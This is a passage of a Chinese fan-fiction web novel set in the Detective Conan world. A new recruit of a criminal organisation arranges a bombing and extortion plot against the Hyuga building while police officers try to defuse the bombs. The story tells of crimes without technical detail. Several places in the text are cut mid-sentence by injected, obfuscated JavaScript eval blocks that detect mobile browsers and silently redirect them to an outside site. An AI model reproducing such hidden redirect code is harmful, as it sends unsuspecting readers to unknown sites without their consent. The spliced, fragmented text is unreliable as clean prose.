谁会要求和组织签合同啊!上线从未见过这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643157|188151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么荒谬的事情。 “应该……不用。” 不用签合同,就意味着他们不会对她进行背调,就意味着即使她和前公司有不愉快也不影响她入职,就意味着她再跳槽不用签离职协议。 若间菊江的眼睛亮了,“那我要加入,以后也是你跟我联系吗?” “不是,我将你介绍进组织后会重新给你分配上线。” “那也没关系!”若间菊江几步走上前来,握住了上线的手,“以后我们就是同事了,请多多指教~” “……请多多指教。” 上线看着被紧紧握住的手,心里有些忧伤地想,Boss,对不起,我好像拉了一个怪人进组织。 再经过一些短暂的培训后,若间菊江快速地适应了这份新的工作。 虽然任务时间基本都在晚上,很影响她的睡眠,但架不住工资高啊! 况且上级人狠话不多,只要任务完成了打钱就很迅速,完全不会拖延,也不会以某个表格需要补交为借口反复打回她的申请。 看着账户里最新到账的奖金,若间菊江美滋滋地合上手机,前往下一个任务地点。 她毕业后从未被激发出的工作热情在这两天觉醒了,即使上级没有给她指派任务她也会主动请缨。 “你的能力很强,这么下去很快就能获得代号了。”上级欣慰地对她说。 于是若间菊江又发现了一条组织的优点——升职渠道清晰。 日本社会普遍的以资历作为升职条件的习惯在组织里并不存在,组织不会养一群废物,所以能力才是晋升的唯一标准。 而因为组织性质的问题,年纪大的人经常会因为身手不行而在任务中失败死亡,所以组织里大多数都是一些年轻人。 如果必须要在男人这个群体里选择的话,若间菊江还是更能接受年轻的男人。 中年男人油腻,老男人腐朽,小男孩和年轻男人她捏着鼻子还能接受,所以在别人眼里上面这一情况在别人看来会觉得危险,对于若间菊江而言反而成了大好事。 若间菊江由衷地感谢大野课长和水野上的付出,如果不是他俩牵线搭桥,自己也不会找到一份这么好的工作,从而顺利跳槽,组织同样也会记得两人的努力,让它收获了自己这样一位人才。 若间菊江一边哼着歌,一边在电脑上敲敲打打,按下“enter”键后目标大楼的灯光逐层熄灭。 她没有想到过大学时期的专业竟然在这方面还能给自己提供支持,果然当初没有听妈妈的建议是正确的。 趁大楼里的工作人员乱成一团,检查是不是电闸问题的时候,若间菊江已经顺利溜进档案室找到了组织想要的文件。 “任务完成。”若间菊江一手拿着文件,得意洋洋地跟上级汇报。 “把东西放在指定地点就行了。”不到三秒,对面就发来了回复。 “OK~” 若间菊江把手机收起来,续上了刚刚没有哼完的小曲儿。 工作嘛,易如反掌。 3. 第 3 章 干小偷小摸的事情多了,若间菊江也逐渐习惯了,毕竟能干点摸鱼就能拿钱的事情,谁会想要一天天打打杀杀? 不过组织估计是没听到若间菊江的愿望,她正一边擦着头发一边从训练场出来,就接到了上级的邮件,邮件的内容是一个网址和一句话。 “拿到图纸,合适可招进组织。” 若间菊江随手把毛巾让在一旁,随手点开了网址,坐在一旁的长椅上查看。 那是一个地下的论坛,上面的帖子既有混乱反道德的情感贴,也有语气厌世的犯罪预告,配着黑红的底色,让人看着就不舒服。 《爱上了继母,如果我今天晚上趁她睡觉……》 《社长真是该死,我要搞到毒药放到他平时最喜欢的饮料里。》 若间菊江皱着眉扫了一眼,打开了最开始的帖子,《我发明的炸弹没有人能顺利拆除,我会用它完成一场盛大的游戏》 帖子下面尽是贴主神经质的自言自语和对自己尚未取得的胜利的狂欢。 若间菊江退了出去,揉了揉眉心,虽然觉得不太靠谱,但她还是动了动手指,给上司回复了一封邮件,“收到。” 看起来那些轻松的任务是离我而去了,这算不算被委以重任?若间菊江苦中作乐。 不过想起帖子里那些毫无逻辑的发言,她的头又痛了起来,说起来组织的招人方式还真是随便,只要是罪犯,甚至是预备役也都在招揽的对象里吗? 若间菊江回忆了一下自己进入组织的过程,草率中透露着一丝敷衍,再想想组织对待水野上的态度,她不得不承认,“耗材”好像确实不值得组织花费心力去调查。 进来干得都是些小事,甚至有些任务路边的小混混都能胜任,区别无非就是善后难度的问题罢了。任务能完成就继续干,完不成就死,几轮下来总能选出有点能力的。 看来我在组织心里的形象和一个神神叨叨的炸弹犯也没什么区别,若间菊江很有自知之明的想。 不过好歹待遇还不错,若间菊江原谅了组织的小轻视。 就拿这个训练场来说,若间菊江就非常满意,这里包含了射击训练的场地,还有专门的格斗训练,甚至自带淋浴设施,省下了她去健身房的一大笔费用,顺便还能捡一捡爸爸教过她的格斗技巧。 若间爸爸去世后,若间妈妈就不再同意若间菊江学习格斗防身的那些东西。 “女孩子如果太粗鲁不会有男生喜欢的。”若间妈妈振振有辞。 不过最后还是若间爸爸教给她的那些东西帮她躲过了一劫又一劫。 没想到最后会是警察的女儿在犯罪组织重温那些警察对付罪犯的格斗技巧,还真是讽刺。 若间菊江闭了闭眼,摒弃了脑子里那些念头,换好衣服后,开着她新买的二手小轿车离开了训练场。 她大学的时候就拿到了驾照,只不过一直没有买车。加入组织后她攒了几个任务的钱买了这辆二手小轿车,让自己的出行更加方便一点。 毕竟组织的各个场地不是在城市边缘就是在荒郊野岭,每次来都打车的话,容易暴露不说,额外的出行费用也是一笔不小的开支,还不如攒攒钱买一辆代步车划算。 上了车,若间菊江启动车子后没着急离开,而是拿过副驾驶的电脑,破解了贴主的ip地址。 看着屏幕上的小区,她掉转车头,驶离了训练场,后视镜里若间菊江的眼睛弯弯的。 既然要玩,那就玩大一点吧。 *** 岸本泉也是米花机械建造公司的一个小职员,平日里一直是一副戴着眼镜、阴阴沉沉的样子,在社会上,甚至是家庭中都一直是被人忽略的对象。 而长期的不受重视和若有若无的排挤也养成了他胆小懦弱又自私狠绝的性格,自从和自己的好友森山青木研究出了受水饮汞柱控制的炸弹后,更是按捺不住想要搞出一番大事,让所有人都刮目相看的想法。 “咚咚咚。”岸本泉也家门口传来了一阵敲门的声音,他有些警惕,一般下班后除了森山青木妹有人会来找他,而森山青木刚刚还在邮件里跟他说自己有事情会晚一点到。 岸本泉也轻手轻脚地站在门口通过猫眼往外望,门口是一个戴着帽子的年轻女人,装扮十分靓丽,手上还挂了几个购物袋,见没人开门女人又抬手敲了三下。 他松了口气,也许这只是附近走错的邻居,是他想多了。 他这几天总是感觉有人在暗中监视他,那种目光让常年所在角落里的他十分敏感,因此也变得有些疑神疑鬼。 岸本泉也拉开了门,语气很不友好,“这里是5楼的504,你是不是找错人了……” “岸本泉也先生对吧?那我就没有找错人。”女人,也就是若间菊江打断他的话,自然地走进屋门,“初次见面,我是来跟你谈合作的事情的。” “什么合作?”岸本泉也心里一沉,头顶已经冒出细细密密的汗珠了,因为他看到了对方手机的界面,那红黑的配色他很熟悉——对方看的正是他发的帖子。 “请我坐坐?我对你们的计划很感兴趣。”若间菊江晃晃手机,用谈商业合作一样的轻松语气说道。 岸本泉也面色沉下去,目光扫过若间菊江身后摆放着的装饰花瓶,思考着让这个女人再也无法说话的可能性。 “岸本先生也少动什么歪心思,”若间菊江仿佛看透了岸本泉也的想法,在购物袋地步掏了掏,掏出了一把小巧的手枪,“衣服的口袋太小了,平时用着还真是不方便,你说是不是啊,岸本先生?” “是的,这位小姐。”岸本泉也咬着牙说道。 “岸本先生不用害怕,严格来说是我有求与您,你们有技术,我能够提供帮助,刚好我也有一个不错的计划。”若间菊江一边说着,一边递过去一张名片,黑底金字看起来很不吉利,但是和那个地下论坛的审美相比倒是小巫见大巫了。 “这些也是我的诚意。”若间菊江踢了踢脚边的那几个购物袋。 岸本泉也接过名片,往购物袋内瞄了一眼,里面的材料乱七八糟,但仔细辨别一下就能看出来是制作炸弹的材料。 你永远也不会知道从你身边走过的女人手里的购物袋装的到底是超市的食材还是手枪和炸弹材料。 “里面只不过是一些基础的材料,如果岸本先生不介意让我知道你所谓的‘不会有人顺利拆除的炸弹’的特点是什么,我还可以提供其他的东西。”若间菊江补充道。 岸本泉也的表情变了又变,最后几经权衡,妥协道,“请进,若间小姐。” 当森山青木抵达好友家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643158|188151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,原本剑拔弩张的气氛已经和睦起来了,不知道两人到底聊了什么,岸本泉也甚至主动举着啤酒朝森山青木介绍道,“这是我们新加入的合作伙伴,若间菊江小姐。” 若间菊江坐在一旁,点头示意,笑不露齿。 森山青木有些迟疑地关上了门,隔绝了屋内的声音。 “两位原本的计划是什么?” 三人围着小木桌而坐,会议反而由若间菊江这个“后来者”主导。 森山青木看起来老实巴交的样子,如果不是亲眼所见,谁都不会信这样一个人会是炸弹案的策划者。 “把炸弹装在高级公寓里,威胁警察拿出10亿日元。” 岸本泉也显然更激进,“如果把炸弹设置在学校或者医院这种地方,能够看到那里的人惊慌失措的表情,不是更有意思。” “我们不是已经说好了只吓唬吓唬人,不真的引爆吗?”森山青木还保留了一点良心,他只是想拿到钱逃亡,不打算真的杀人。 “好了好了,我也是说着玩的。”岸本泉也示弱道。 若间菊江饶有兴趣地看着眼前的一幕,短短几句话就将两人的争执点和地位差异暴露无遗。 森山青木话少,小事上主见不够却在底线前一步不退,做不到善良但又坏得不够彻底,这显然是一个致命的缺点。 岸本泉也怯懦又自负,是典型的反社会人格,但意外地看重森山青木的话,不是因为两人关系很好,就是因为有短板握在森山青木手里,比如,森山青木才是炸弹的主要设计者? 这两个人看起来都不适合加入组织,这样她也能毫无顾忌了。 “不好意思,稍微打断一下二位,”若间菊江插进两人的对话中,“如果是为了钱的话,为什么不选一个更有钱的目标呢?” 她拿出一份报纸,上面刊登着日向集团商业大厦即将开业的新闻。 若间菊江点了点报纸上日向社长的照片,诱惑着道,“日向集团是老牌的豪门,当前的掌门人却是个胆小怕死,没有能力的人,过几天日向集团新建的大厦就要开业了,到时候楼下是人来人往的大型商场,楼上会举行剪彩后的宴会,去的都会是些名人。” “我想,日向社长一定很愿意拿出更多的钱来买包括他自己在内的所有人的性命吧?” 岸本泉也听到最后这句话眼睛亮了亮。 森山青木却还有些迟疑,“到时候很多媒体都会关注那里……” 若间菊江压下眼底的不耐烦,继续说道,“既然已经决定要干,还怕媒体关注吗?”她话尾还是没压抑住露出一丝嘲讽,“恕我直言,直接威胁警视厅的犯人更吸引媒体吧?” “实不相瞒,”若间菊江深吸一口气,尽量让自己的演技看起来真实一点,“日向社长是我的仇人,当年就是他们让我家里的公司破产倒闭,也让我家支离破碎,所以我不能原谅他!” 只是谎话,她只不过是找上级要了组织近期不太听话的合作者名单,从里面挑了一个不太顺眼的罢了,刚刚那番说辞完全是临场发挥。 “日向集团可以拿出更多的钱,”若间菊江的手指在桌子上敲了两下,“只要能够成功报复到那个人,我一分都不要。” 看到两人眼中明显的贪婪和兴奋,若间菊江知道事情搞定了。 4. 第 4 章 目前一切都在按计划进行。 若间菊江站在米花酒店顶层的天台上,用望远镜监视着日向大厦的情况。 早上十点,日向大厦门口的广场上已经挤满了人,各家媒体都在直播日向集团的社长日向财二亲自为大厦剪彩的盛况。 随着“砰砰”两声,礼花在空中炸开,纷纷扬扬地飘下各色的彩带,人流逐渐涌进大厦,岸本泉也和森山青木也伪装成去新开业商场抢购促销产品的社畜,拎着挎包顺着人潮进入大楼,然后顺手把挎包放到预设的角落里。 毕竟本来就是不惹人关注的社畜嘛,本色出演更自然一些,指定计划的时候若间菊江是这么建议的。 如果不是为了后续的计划,她自己也想混进去好好欣赏一下这座刚刚开业却马上就要遭遇不幸的大厦呢。 若间菊江假模假样地叹了口气,很快就收到了另外两个人完成任务的简讯。 想要威胁日向集团,光靠两个小炸弹显然是不够的,那两个包只是用来迷惑警方的障眼法罢了,昨天晚上真正能够发挥作用的炸弹已经被布置在这座大厦的各个关键地点,相当的数字可以表明,若间菊江昨天晚上又为了工作通宵了。 她打了个哈欠,抹掉眼角的泪花,这份工作自由是自由,就是大部分需要晚上来做,搞得她的作息十分紊乱,看起来已经可以无痛融入美国的地方时了。 “别忘了买东西。”若间菊江回复两个人道。 为了不显得突兀,她给岸本泉也和森山青木二人都安排了采购清单,岸本泉也的是金枪鱼寿司便当和口香糖,森山青木的是纸巾和速溶咖啡,虽然二人对这个安排有些疑惑,不过还是老实照做了。 看时间差不多了,若间菊江给警视厅打了一通报警电话,“是警察吗?我在日向商场的一楼角落里发现了一个奇怪的包裹,里面好像有倒计时的声音,你们可以过来看看吗?” 接线员听着电话那头紧张又害怕的声音,面色凝重起来,一边扯过纸记录,一边安抚地问道,“不用担心,我们很快就会赶过去,可以请你仔细描述一下现场的情况吗?” 若间菊江做了个深呼吸,好像冷静了些,“我现在在一楼卫生间外的拐角处,包裹是一个深棕色的跨包,刚刚我看到一个男人把包放到这里就离开了,本来以为他是要去卫生间,但是过了很久他都没有回来,我靠近那个包才听到包里传来微弱的滴答声。” “好的,请您千万不要动那个包裹,也要尽量注意不让别人触碰,可以吗?”接线员一边将纸条纸条递给搜查一课的同事,一边说道。 在接到报警电话的时候,搜查一课的警官们已经警觉起来了,大型的商业活动一向是犯罪分子的天堂,警视厅已经增强了日向大厦附近的安保,没想到还是没能防住。 目暮警官已经戴着帽子准备出发了,他一边往外走一边吩咐旁边的警员,“马上去通知□□处理班的同事,日向大厦出现了疑似□□的包裹。” “是!”小警员一个激灵冲了出去。 “希望是一个无聊的恶作剧。”目暮警官在心里默念。 可惜天不随人愿,目暮警官的愿望终究是没法实现了。 在警察到达现场后,□□处理班很快就确认了包裹里是一个小型的炸弹,和一般的炸弹相比,现场的炸弹增加了一个水银汞柱的设计,这使得它不能够被随意挪动,警察惯用的将炸弹拿到空旷的地方安全引爆的方法就不再适用了。 松田阵平皱着眉头,眼前的炸弹并不复杂,他三分钟就能搞定,真正棘手的是随炸弹一起放在包裹里的纸条。 纸条是打印出来的,除了文字没有任何线索,“太阳的光芒会成为耀眼的火光,不要惊动胆小的麻雀,乌鸦的影子会一直在黑暗里注视。” “立刻排查商场离还有没有其他可疑包裹,有序疏散民众,注意不要造成恐慌。”目暮警官命令道。 “稍等一下,目暮警官。”松田阵平制止道,“或许犯人并不会让警方顺利疏散群众。” 他点了点纸条中间的那段话,“‘不要惊动胆小的麻雀’,犯人现在一定躲在某个角落里看着警方的一举一动,这个时候如果刺激到犯人后果不堪设想。” 目暮警官的脸色凝重起来,“我知道了,这件事还需要通知日向社长。” 松田阵平这次倒是没有阻止,将日向大厦内的所有炸弹都排查出来无疑是个大工程,况且今天商场新开业,人流量很大,想要抓到犯人无异于大海捞针,去询问日向社长最近有没有得罪什么人是目前最快圈定犯人范围的方法了。 这时萩原研二也从另一侧跑了过来,原来就在松田阵平研究眼前的炸弹的时候,他又收到了一处可疑包裹的报案,这次发现人是一个小孩。 他领着小队到达时,不出意料地看到了同款炸弹,唯一不同的是这次包裹里不是纸条,而是一部手机。 萩原研二把手机递过去,轻轻摇了摇头,同样的,手机上也没有任何线索。 这次的犯人看似花样百出,实际上滴水不漏,非常缜密。 日暮十三接过手机,压了压头顶的帽子,带着两个部下走进了电梯,他们没发现的是,电梯井内,伴随着“滴滴”的声音,一个红色的小灯一闪一闪,预示着时间将近。 社长办公室里,目暮十三简明扼要地说明了目前的情况,“不知道日向先生有没有怀疑的人选?”他问道。 可惜日向财二已经听不进去他说的任何话了,在看到纸条上“乌鸦”这两个字的时候,日向财二的脸色瞬间惨白下来,在沙发上抱着头瑟瑟发抖,嘴里一直喃喃自语,“是他们,他们要来找我了,一定是他们……” 目暮警官不得不加重语气强调又强调了一遍,“日向先生,如果你有怀疑的对象请立刻告诉我们,警方一定会保护你的安全。” “没有用……没有用的,他们会杀了我!”日向财二大喊,他已经后悔了,当初他怀有侥幸心理,为了减少利益的损失放弃了和乌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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门口还散发着滚滚黑烟,这样一来即使没人阻挡,也没有人敢朝门口的方向迈去了,前车之鉴就在眼前,谁知道门口还有没有炸弹,还会不会再爆炸? 有心理承受能力不强的女生已经小声啜泣了起来,被身边另一位看起来更冷静的女生拉着手挡在了身后。 松田阵平咬着牙看着门口,不出他所料,犯人果然没有打算让警方疏散民众,刚刚的爆炸点都在比较偏僻的地方,没有造成人员的伤亡,显然这只是一个警告。 伊达航叼着牙签进入了社长室,爆炸的时候他刚刚迈入这层楼,此刻他的脸上没有平时那种轻松的笑意,取而代之的是从未有过的认真和沉重,“目暮警官,目前□□处理班的同事已经处理了十二枚炸弹,但民众在刚刚的爆炸中已经产生了恐慌的情绪,排查工作更难推进下去了。” 目暮十三擦了擦汗珠,转向日向财二,“日向先生,事已至此,你还不打算告诉警方犯人可能是谁吗?” 缩在沙发角落的日向财二闻言顿了顿,脸上露出明显的纠结犹疑的神色,就在他深吸了口气,打算说点什么的时候,桌子上那支由萩原研二发现、目暮十三带上来的手机突然响了起来。 5. 第 5 章 屋中几人的注意力一下吸引过去,所有人都盯着那支奏着铃声的手机。 日向财二看起来要被吓昏过去了,全身颤抖着躲在一旁,在目暮警官的示意下,伊达航走过去接通了电话,打开了免提。 “日向先生,恭喜开业!”电话里传来了变声器加工过的声音,一时间让人分不清男女,但欢快的语气还是能够听得出来的。 意料之外的开场白让在场的警察都错愕了一瞬,仿佛来电的人不是想要炸掉大厦的犯罪分子,而是某个日向财二的好朋友。 “啊啦,听起来在场还有其他人啊,”没等目暮十三他们有所反应,那个声音就自顾自地继续说道,“没关系,你们已经收到我送出的礼物了吧?喜欢吗?为了准备这份礼物我可是通宵了一整晚呢。” 他竟然敢用这种邀功的语气,这个犯人简直不把其他人的命放在眼里!伊达航咬着牙,攥紧了拳头。 目暮十三上前一步挡在了伊达航的前面,看着他壮实冷静的背影,伊达航冷静也了下来,“你的目的是什么?”目暮十三问道。 目暮十三不愧是经验丰富的老刑警,面对犯人堪称挑衅的话还能精确地问出核心。 “为了感谢我的付出,日向先生,”犯人的语气突然冷淡下来,命令道,“准备好20亿日元,再准备一辆车,放到我指定的位置,记得,别耍小聪明。” “冬天的夜晚来的很早,日向大厦难道要照亮东京吗?”留下一句威胁后,电话自动挂断了。 随着忙音响起,像是预设好的,楼下又传来两起爆炸的声音,伊达航能明显感觉到整栋大厦都晃了晃。 屋内的气氛一瞬间凝滞,犯人的暗示没有人听不懂,如果不给他20亿日元他就会炸了整栋大厦。 日向财二脸色惨白,20亿日元并不是个小数目,就算是日向集团也一下子拿不出来这么多流动资金,但如果不给的话…… 目暮十三看着日向财二明显动摇的神情,开口阻止道,“日向先生,请您冷静一下,警方现在正在加紧排查大厦内的炸弹,我们不会让犯人得逞的。” 日向财二垂着头,一时间没有说话,良久才低声开口,说出了自警察到来后的第一句完整且逻辑清晰的话,“警官先生,可以请你们出去待会儿吗,我想自己想想,五分钟后麻烦你们通知我的秘书过来。” 现在让日向财二一个人待着是十分危险的事情,但是目暮十三深吸一口气,压着帽子同意了他的请求,带着伊达航等人退出了房间,守在门口。 现在整栋大厦都处于恐慌之中,刚刚的两起爆炸炸断了两处楼梯,楼梯口还留有鲜红的血迹,那是刚刚因爆炸跌落的人受伤而留下的,幸运的是这座大厦的层高不算太高,即使有人受了伤也没有生命危险。 现在所有人都缩在角落里,不敢轻举妄动,只能轻声啜泣地抱在一起,小声低骂着炸弹犯,抱怨警察的不作为。 在一旁维持秩序的警员低着头,双眼泛红,泪珠在眼眶里打转,强忍着没有落下。这是他进入警视厅后第一次出外勤,民众的指责和对炸弹犯的无能为力压得他喘不过气。 一名前辈走到他身前,把他与群众隔开,“有什么可哭的,还记得吗,‘不因任何事件而恐惧,不为任何人所憎恶’,保护民众是你的职责。” “是!”小警员擦了擦眼睛,很快投入安抚民众的工作中,警察前辈转过头,却没有安慰小警员时的轻松,他抬头望着大厦的高层,心中的沉重再难以掩饰。 为了行动方便,萩原研二并没有穿厚重的防护服,只穿着轻便的制服蹲在炸弹面前,表情难看地盯着炸弹内部。 在这之前他们小队已经拆解了许多炸弹了,但没有一个人的心情能够放松下来。 他们所发现的炸弹内部无一例外都装了计时器,鲜红的倒计时仿佛在无声地嘲笑他们在做无用功。 虽然犯人所使用的炸弹构造简单,但水银汞柱的设计已经决定了炸弹只能原地拆除,爆处班的人手有限,在一边排查一边拆除的情况下,想要在倒计时结束之前宣布大厦已经安全了是一件不可能的事情。 萩原研二抹了把脸,平复了一下急躁的心情,沉下气,继续拿起剪子剪断了一根线。 而此时的警视厅内部显然没有萩原研二平静,目暮十三已经把犯人的要求传回了警视厅,警察们就要不要答应的问题争论不休,平日里肃穆的大楼喧嚣地像有一万只鸭子同时嚎叫。 “怎么可能答应犯人的要求,就这么轻易让他得逞!” “如果就这样答应犯人支付20亿日元,在外界看来这会是警视厅无能的表现,此事后警方在民众心中的公信力和影响力就会大打折扣。”一个警部争论得面红耳赤。 对面,他的同事反唇相讥,“那你有既不答应犯人,又能保护人质不受伤害的办法吗?” 刚才那位警部不说话了,其他人也都安静下来,这个问题问到了他们的痛点。 在场的所有人没有一个想要同意满足犯人的要求,但根据现场传回来的消息,炸弹的倒计时还有30分钟,还未排查的地方却有很多,犯人甚至会主动引爆疏散群众路线上的炸弹,显然是对警方挑衅,但他们却一点办法也没有。 松本清长说道,“我们已经根据犯人的那通电话反向追踪到ip地址,可惜去的时候犯人已经逃走了,这次的犯人极尽大胆与狡猾,30分钟显然不够我们抓到他。” 刑事部部长小田切敏郎就在这样的环境里沉思着,这件事情比他的部下想的还要棘手,日向集团是地方的纳税大户,也是选举时政治献金的主要来源之一,一旦日向集团因为这件事情损失惨重,无疑会使它与政府之间的合作出现裂痕。 但是警方的面子和政府的利益在这一刻怎么也比不上那么多民众的性命。 小田切敏郎闭了闭眼睛,“加派人手,尽可能多拆除炸弹,保证民众的安全,如果日向先生决定答应犯人的请求……”他的声音顿了顿,但还是坚定地说道,“不要阻拦。” “如果支付了20亿日元后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643160|188151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犯人又反悔了怎么办?”另外一名警官忍不住问,这也是他们大多数人反对的理由,没人能保证如此穷凶极恶的犯人能够遵守承诺。 小田切敏郎转过身去,双手背在身后,这次的犯人打得那通电话用词挑衅大胆,行为却谨慎沉稳,从行为学上来说是相互矛盾的,所以背后的犯人绝对不止一个人。 对行事肆意的从犯来说反悔是不是没可能的,稍微的刺激都会让他继续行事,但对于残忍冷静的主犯来说,这种自降身价的行为对他而言没有好处。 这起爆炸案看似是针对日向集团,实际上在这件事中受到最大影响的还是东京警视厅,日向集团只是受害者,而警视厅无论从哪个角度来说都逃脱不了保护不力的罪名,公信力下降已经是板上钉钉的事情了,犯人肯定对警方有着很深的仇恨…… 炸弹设置的倒计时的数字逐渐变小,催促似的,大厦中又发生了几起小型爆炸,楼层震动,黑烟冲天而上,全日本的目光都聚集在这栋充满恐惧的大厦上。 大厦外,媒体还在工作,衣着专业,妆容精致的女记者正站在镜头前,为全国民众直播这场炸弹案件,“截止目前,炸弹犯已经进行了多轮小型袭击,而楼中还困着进2000名民众,其中还包括受邀来参加日向大厦开业仪式的各界名流……据日向集团是否会答应炸弹犯的请求?这一点,日向集团和警方均未给出明确的答复。炸弹的倒计时还在继续,屏幕前的犯人,如果你还有一丝良心的话……” 若间菊江听着耳机里的直播,嘴里模仿着女主持人的语调,“如果你还有一丝良心的话~” 自娱自乐完,她撇撇嘴,感到有点无趣,警视厅楼下,几辆警车飞驰而过,朝日向大厦驶去,若间菊江默许了警视厅增派人手的行为,决定增加一点筹码,于是她低头在手机上按了几下,发出了一封简讯。 另一边,萩原研二和松田阵平也抵达了日向财二和目暮警官他们所在的17楼。 由于技术过人,在新的一批警力到达后,两人便被上司派来保护日向财二。 电梯井在刚刚的爆炸中已经受到损害,这种情况下坐电梯是不可能了,两个人从楼梯跑上来的时候已经有些气喘嘘嘘。 还没来得及和目暮警官身后的伊达航好好打个招呼,门内又传来了电话刺耳的铃声。 几人面色一肃,顾不上什么礼貌,猛地推开房间的门,只见桌子上电话的欢乐地闪烁着。 “时间过得真快啊,不知道日向先生考虑地如何了呢?”又是那个机械化的声音,但比起刚刚的第一通电话,这次的犯人明显带着催促的意味。 “请再给我一些时间……”日向财二颤颤巍巍地说道。 “等待的时间真是漫长啊,”那个声音感叹道,“那么,为了增添一些趣味性,互动时间到——” “提问,上个月底,凌晨4点15分,米花町4丁目的十字路口发生了一起肇事逃逸的案件,死者是一名年轻的女人,她与在座的某一位有一丝关系,请问这个人是谁呢?” 6. 第 6 章 “铛铛!答案揭晓——”电话那头的人完全没有要他们回答的意思,下一秒就给出了答案,完全不顾日向财二看起来要昏过去的样子,“主角就是我们的日向先生!因为喝酒醉醺醺的日向先生完全没意识到自己撞死了人,第二天酒醒后才想起来,可惜这时候可怜的女孩已经不治身亡了啊。” 那声音里带着浓浓的惋惜,在场的警察看向日向财二的眼神已经不对了。 日向财二的秘书脸侧的汗珠滑落,这件事的后续是他处理的,那个女生的父母也拿了一大笔钱,后来警察没找到更多的线索就不了了之了,现在犯人把这件事拿出来是想要说什么? 犯人难道是那个女生认识的人吗? 目暮警官严肃了神情,显然跟他有类似的想法,“日向先生的错误会有警察来处理,现在大厦里还有很多无辜的市民……” “再次提问!”电话里的声音打断了目暮警官的劝说,“一年前日向集团的董事长秘书小泉夜子家中失火身亡,这其中究竟有什么不可告人的秘密?” “十五年前八木集团破产,社长八木治跳楼自杀,妻女却在遗物中发现一封神秘的信……” “不要再说了!我给你钱!多少都可以!”日向财二突然大吼,打断了电话的滔滔不绝。 松田阵平听出了电话没挑明的意思,这一桩桩的案子或许都和日向财二有关联,如果这些事都是真的,那日向财二真是个人渣! “但是犯人这么做有什么好处呢?”萩原研二仗着离电话远,站在他旁边小声分析,“犯人把威胁的把柄都交出来了,为什么还会笃定日向财二会同意支付20亿日元?” 松田阵平和萩原研二对视一眼,想到了一个可能性,松田阵平小声接话道,“犯人在警告他,自己手里还有其他的把柄,那些把柄远比做几年牢来得严重。” 即使是杀人,在日本也很少有判处死刑的例子,更何况日向财二或许只是通过经济犯罪的手段达到目的,花钱找人疏通关系后刑期还会再减少。 虽然很不甘心,但这也是日本的现状,而现在,他们还必须要保护日向财二,无论如何,普通民众都是无辜的。 “真是个乖孩子。”电话那头的人毫不意外日向财二会答应,漫不经心地夸奖道,“那就把东西放到邮件指定的地点吧,不要动歪心思哦,警官先生,只要交易完成,大家都会安全。” 说完,电话又毫不留情地挂断了。 最后那句话既是挑衅又是警告,一旦犯人发现什么不对,估计会立刻引爆炸弹。 松田阵平皱着眉头死死地盯着那部手机,萩原研二却若有所思,他低着头,手指搭在下巴上,凝神回忆了一下犯人说过的话,整个通话过程中犯人一直用的自称和语气都是很中性的,但最后那几句却透露着浓浓的违和感。 “犯人或许是个女性。”萩原研二喃喃自语。 “什么?”伊达航突然从旁边伸出一个脑袋,语气震惊。 虽然一般的杀人案里也有很多女性犯人,但是大型的炸弹案据报告显示,还是男性犯人占绝大多数情况,所以这次他们也默认了就是男性犯案。 “我只是有这种感觉啦,并没有什么证据。”萩原研二摆摆手,“但是‘真是个乖孩子’这句话……如果是出于这么强控制欲的男性犯人口中,一般会带有居高临下的轻视感,但刚刚犯人的语气里更多是带有哄骗的意味……” 与其说是推理,不如称其为萩原研二的直觉。 但是在警校的时候萩原研二就是他们五个人里最擅长和女生交流的,所以伊达航并没有放弃这个细节,马上转头去问日向财二,“您有没有结仇的女性人选?” 这句话问得很不留情面,日向财二自认答应了对方就会安全了,这时已经因为在警察面前被揭露罪行出于恼羞成怒的边缘了,被伊达航这么一质问,通红着脸怒吼道,“根本就没有这样的人!谁会在意乌鸦的性别?你们都给我滚出去!” 松田阵平“啧”了一声,往前走了一步,被旁边的伊达航一把拦住,目暮警官面无表情,用一种公事公办的语气说道,“我们就先去外面了,过几天还需要您到警视厅走一趟。” 日向财二冷笑一声,目暮警官转身带着众人离开了办公室。 “乌鸦……”松田阵平思考着这个词,这是在这个案子里被反复提到的,原先他还以为指代的是炸弹犯,但是从日向财二的口中听起来并不是这样。 “难道是某个以乌鸦为代称的犯罪团伙?”松田阵平对身侧的二人道。 伊达航摇了摇头,“我在搜查一课遇到的案子里并没有接触过这个代号。” 萩原研二更是一脸迷茫。 